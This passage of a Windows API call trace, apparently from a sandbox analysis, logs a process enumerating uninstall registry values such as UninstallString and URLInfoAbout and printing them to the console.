_File=0x7fefd702ab0) returned 0 [0147.220] __iob_func () returned 0x7fefd702a80 [0147.220] _fileno (_File=0x7fefd702ab0) returned 1 [0147.220] _errno () returned 0xc4bb0 [0147.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.220] _errno () returned 0xc4bb0 [0147.220] GetFileType (hFile=0x50) returned 0x1 [0147.220] lstrlenW (lpString=" ") returned 4 [0147.221] GetConsoleOutputCP () returned 0x1b5 [0147.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.221] GetConsoleOutputCP () returned 0x1b5 [0147.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.221] __iob_func () returned 0x7fefd702a80 [0147.221] _fileno (_File=0x7fefd702ab0) returned 1 [0147.221] _errno () returned 0xc4bb0 [0147.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.221] _errno () returned 0xc4bb0 [0147.221] GetFileType (hFile=0x50) returned 0x1 [0147.221] lstrlenW (lpString="REG_DWORD") returned 9 [0147.221] GetConsoleOutputCP () returned 0x1b5 [0147.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.221] GetConsoleOutputCP () returned 0x1b5 [0147.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.222] __iob_func () returned 0x7fefd702a80 [0147.222] _fileno (_File=0x7fefd702ab0) returned 1 [0147.222] _errno () returned 0xc4bb0 [0147.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.222] _errno () returned 0xc4bb0 [0147.222] GetFileType (hFile=0x50) returned 0x1 [0147.222] lstrlenW (lpString=" ") returned 4 [0147.222] GetConsoleOutputCP () returned 0x1b5 [0147.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.222] GetConsoleOutputCP () returned 0x1b5 [0147.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.222] __iob_func () returned 0x7fefd702a80 [0147.222] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.222] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.222] _fileno (_File=0x7fefd702ab0) returned 1 [0147.222] _errno () returned 0xc4bb0 [0147.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.222] _errno () returned 0xc4bb0 [0147.222] GetFileType (hFile=0x50) returned 0x1 [0147.222] lstrlenW (lpString="0x1") returned 3 [0147.222] GetConsoleOutputCP () returned 0x1b5 [0147.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.222] GetConsoleOutputCP () returned 0x1b5 [0147.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.223] __iob_func () returned 0x7fefd702a80 [0147.223] _fileno (_File=0x7fefd702ab0) returned 1 [0147.223] _errno () returned 0xc4bb0 [0147.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.223] _errno () returned 0xc4bb0 [0147.223] GetFileType (hFile=0x50) returned 0x1 [0147.223] lstrlenW (lpString="\n") returned 1 [0147.223] GetConsoleOutputCP () returned 0x1b5 [0147.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.223] GetConsoleOutputCP () returned 0x1b5 [0147.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.223] GetProcessHeap () returned 0x2e0000 [0147.223] GetProcessHeap () returned 0x2e0000 [0147.223] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.223] GetProcessHeap () returned 0x2e0000 [0147.223] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.223] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.223] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.223] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.224] GetProcessHeap () returned 0x2e0000 [0147.224] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.224] GetProcessHeap () returned 0x2e0000 [0147.224] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.224] GetProcessHeap () returned 0x2e0000 [0147.224] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.224] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.224] __iob_func () returned 0x7fefd702a80 [0147.224] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.224] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.224] _fileno (_File=0x7fefd702ab0) returned 1 [0147.224] _errno () returned 0xc4bb0 [0147.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.224] _errno () returned 0xc4bb0 [0147.224] GetFileType (hFile=0x50) returned 0x1 [0147.224] lstrlenW (lpString=" ") returned 4 [0147.224] GetConsoleOutputCP () returned 0x1b5 [0147.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.224] GetConsoleOutputCP () returned 0x1b5 [0147.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.224] lstrlenW (lpString="UninstallString") returned 15 [0147.224] __iob_func () returned 0x7fefd702a80 [0147.224] _fileno (_File=0x7fefd702ab0) returned 1 [0147.224] _errno () returned 0xc4bb0 [0147.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.225] _errno () returned 0xc4bb0 [0147.225] GetFileType (hFile=0x50) returned 0x1 [0147.225] lstrlenW (lpString="UninstallString") returned 15 [0147.225] GetConsoleOutputCP () returned 0x1b5 [0147.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.225] GetConsoleOutputCP () returned 0x1b5 [0147.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.225] __iob_func () returned 0x7fefd702a80 [0147.225] _fileno (_File=0x7fefd702ab0) returned 1 [0147.225] _errno () returned 0xc4bb0 [0147.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.225] _errno () returned 0xc4bb0 [0147.225] GetFileType (hFile=0x50) returned 0x1 [0147.225] lstrlenW (lpString=" ") returned 4 [0147.225] GetConsoleOutputCP () returned 0x1b5 [0147.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.225] GetConsoleOutputCP () returned 0x1b5 [0147.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.226] __iob_func () returned 0x7fefd702a80 [0147.226] _fileno (_File=0x7fefd702ab0) returned 1 [0147.226] _errno () returned 0xc4bb0 [0147.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.226] _errno () returned 0xc4bb0 [0147.226] GetFileType (hFile=0x50) returned 0x1 [0147.226] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.226] GetConsoleOutputCP () returned 0x1b5 [0147.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.226] GetConsoleOutputCP () returned 0x1b5 [0147.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.226] __iob_func () returned 0x7fefd702a80 [0147.226] _fileno (_File=0x7fefd702ab0) returned 1 [0147.226] _errno () returned 0xc4bb0 [0147.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.226] _errno () returned 0xc4bb0 [0147.226] GetFileType (hFile=0x50) returned 0x1 [0147.226] lstrlenW (lpString=" ") returned 4 [0147.226] GetConsoleOutputCP () returned 0x1b5 [0147.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.227] GetConsoleOutputCP () returned 0x1b5 [0147.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.227] __iob_func () returned 0x7fefd702a80 [0147.227] _fileno (_File=0x7fefd702ab0) returned 1 [0147.227] _errno () returned 0xc4bb0 [0147.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.227] _errno () returned 0xc4bb0 [0147.227] GetFileType (hFile=0x50) returned 0x1 [0147.227] lstrlenW (lpString="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 52 [0147.227] GetConsoleOutputCP () returned 0x1b5 [0147.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.227] GetConsoleOutputCP () returned 0x1b5 [0147.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{37B8F9C7-03FB-3253-8781-2517C99D7C00}", lpUsedDefaultChar=0x0) returned 52 [0147.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.227] __iob_func () returned 0x7fefd702a80 [0147.227] _fileno (_File=0x7fefd702ab0) returned 1 [0147.227] _errno () returned 0xc4bb0 [0147.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.227] _errno () returned 0xc4bb0 [0147.227] GetFileType (hFile=0x50) returned 0x1 [0147.228] lstrlenW (lpString="\n") returned 1 [0147.228] GetConsoleOutputCP () returned 0x1b5 [0147.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.228] GetConsoleOutputCP () returned 0x1b5 [0147.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.228] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.228] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.228] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.228] GetProcessHeap () returned 0x2e0000 [0147.228] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.228] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.228] __iob_func () returned 0x7fefd702a80 [0147.228] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.228] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.228] _fileno (_File=0x7fefd702ab0) returned 1 [0147.228] _errno () returned 0xc4bb0 [0147.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.229] _errno () returned 0xc4bb0 [0147.229] GetFileType (hFile=0x50) returned 0x1 [0147.229] lstrlenW (lpString=" ") returned 4 [0147.229] GetConsoleOutputCP () returned 0x1b5 [0147.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.229] GetConsoleOutputCP () returned 0x1b5 [0147.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.229] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.229] __iob_func () returned 0x7fefd702a80 [0147.229] _fileno (_File=0x7fefd702ab0) returned 1 [0147.229] _errno () returned 0xc4bb0 [0147.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.229] _errno () returned 0xc4bb0 [0147.229] GetFileType (hFile=0x50) returned 0x1 [0147.229] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.229] GetConsoleOutputCP () returned 0x1b5 [0147.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.229] GetConsoleOutputCP () returned 0x1b5 [0147.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.230] __iob_func () returned 0x7fefd702a80 [0147.230] _fileno (_File=0x7fefd702ab0) returned 1 [0147.230] _errno () returned 0xc4bb0 [0147.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.230] _errno () returned 0xc4bb0 [0147.230] GetFileType (hFile=0x50) returned 0x1 [0147.230] lstrlenW (lpString=" ") returned 4 [0147.230] GetConsoleOutputCP () returned 0x1b5 [0147.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.230] GetConsoleOutputCP () returned 0x1b5 [0147.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.230] __iob_func () returned 0x7fefd702a80 [0147.230] _fileno (_File=0x7fefd702ab0) returned 1 [0147.230] _errno () returned 0xc4bb0 [0147.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.230] _errno () returned 0xc4bb0 [0147.230] GetFileType (hFile=0x50) returned 0x1 [0147.230] lstrlenW (lpString="REG_SZ") returned 6 [0147.230] GetConsoleOutputCP () returned 0x1b5 [0147.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.231] GetConsoleOutputCP () returned 0x1b5 [0147.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.231] __iob_func () returned 0x7fefd702a80 [0147.231] _fileno (_File=0x7fefd702ab0) returned 1 [0147.231] _errno () returned 0xc4bb0 [0147.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.231] _errno () returned 0xc4bb0 [0147.231] GetFileType (hFile=0x50) returned 0x1 [0147.231] lstrlenW (lpString=" ") returned 4 [0147.231] GetConsoleOutputCP () returned 0x1b5 [0147.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.231] GetConsoleOutputCP () returned 0x1b5 [0147.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.231] __iob_func () returned 0x7fefd702a80 [0147.231] _fileno (_File=0x7fefd702ab0) returned 1 [0147.231] _errno () returned 0xc4bb0 [0147.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.231] _errno () returned 0xc4bb0 [0147.231] GetFileType (hFile=0x50) returned 0x1 [0147.231] lstrlenW (lpString="") returned 0 [0147.232] __iob_func () returned 0x7fefd702a80 [0147.232] _fileno (_File=0x7fefd702ab0) returned 1 [0147.232] _errno () returned 0xc4bb0 [0147.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.232] _errno () returned 0xc4bb0 [0147.232] GetFileType (hFile=0x50) returned 0x1 [0147.232] lstrlenW (lpString="\n") returned 1 [0147.232] GetConsoleOutputCP () returned 0x1b5 [0147.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.232] GetConsoleOutputCP () returned 0x1b5 [0147.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.232] GetProcessHeap () returned 0x2e0000 [0147.232] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.232] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.232] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, 